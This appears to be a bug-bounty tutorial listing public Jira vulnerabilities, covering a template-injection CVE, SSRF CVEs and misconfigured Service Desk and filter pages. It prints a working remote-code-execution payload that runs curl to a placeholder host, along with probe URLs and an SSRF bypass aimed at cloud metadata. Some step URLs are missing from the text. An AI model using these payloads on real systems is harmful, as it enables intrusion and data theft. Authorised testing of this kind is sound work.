I’ve been asked a lot about Jira vulnerabilities. In this article, I compiled the publicly available Jira exploits I could find to help you when you are doing bug bounty hunting or penetration testing.
However, I should mention that you need to have some basic understanding of how web applications work and how to exploit them. If you want to learn that, head over to this ultimate guide.
Jira Server-Side Template Injection (CVE-2019–11581)
This Jira vulnerability created havoc back in 2019 and all bug bounty hunters were looking for it. It exploits the way input was handled in the administrator contact form. It allows remote and unauthenticated users to run Remote Code Execution on the vulnerable Jira instance. To achieve it, follow the steps:
- Go to
/secure/ContactAdministrators!default.jspa. If you get a form, continue to the next step.
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://your_server_here/rcetest?a=a').waitFor()in the subject and request details.
- Send the form. If it’s vulnerable this Jira attack will trigger an HTTP request to the server you set within the curl command in the payload above.
- If you are doing a penetration test, urgently reach out to your point of contact. And if you are doing bug bounty hunting, stop there and submit a detailed report about the issue.
Security misconfiguration in the Jira Service Desk
This Jira attack exploits a misconfiguration in the Jira Service Desk being exposed to the public. It allows an attacker to gather emails of employees and create Jira tickets. What’s better than to read it from the hacker who discovered it. Inti wrote an exhaustive article about that, so make sure to check it out.
Here are the steps to follow if you want to
- Go to
- See if you can register an account and create a ticket as a proof-of-concept.
Publicly available filters and dashboards
This Jira attack exploits, yet again, another Security misconfiguration. And it allows attackers to leak internal data from the vulnerable Jira instance because of how filters can be publicly exposed by default. Within the accessible pages, there is the user picker which discloses a list of internal users. You can read about the details in this article.
The following URLs are the ones you should try, see if you can access a list of users/resources inside the exposed filters:
/secure/popups/UserPickerBrowser.jspa /secure/ManageFilters.jspa?filterView=popular /secure/ConfigurePortalPages!default.jspa?view=popular /rest/project-templates/1.0/createshared
Jira Server-Side Request Forgery (CVE-2017–9506)
This classic Jira attack exploits an SSRF vulnerability, which allows you to do what SSRF does: Read AWS instance metadata, pivot inside the internal infrastructure or trigger XSS. You can read more about SSRF here.
Here are the steps to test for this Jira vulnerability.
- Go to
- You should load the Google page within the vulnerable Jira instance.
- Stop there and report the bug, asking permission to escalate it.
Another Jira SSRF vulnerability (CVE-2019-8451)
This Jira attack exploits the same vulnerability type as the one before, but in another endpoint which was implementing some poor validation. The bypass is simply appending
@target.domain to the vulnerable parameter,
target.domain is the page you want to load, such as AWS instance metadata. You can find the details in this article published by Tenable.
Here are the steps to follow if you want to test for it:
- Go to
- You will get the results from
Jira is one of the famous issue tracking products and it has its share of vulnerabilities. If you are an ethical hacker, use this list as a testbed during your engagements. If you are a system administrator and have a Jira instance, make sure you have the latest version and that you properly configure it. That way, you will reduce the attack surface.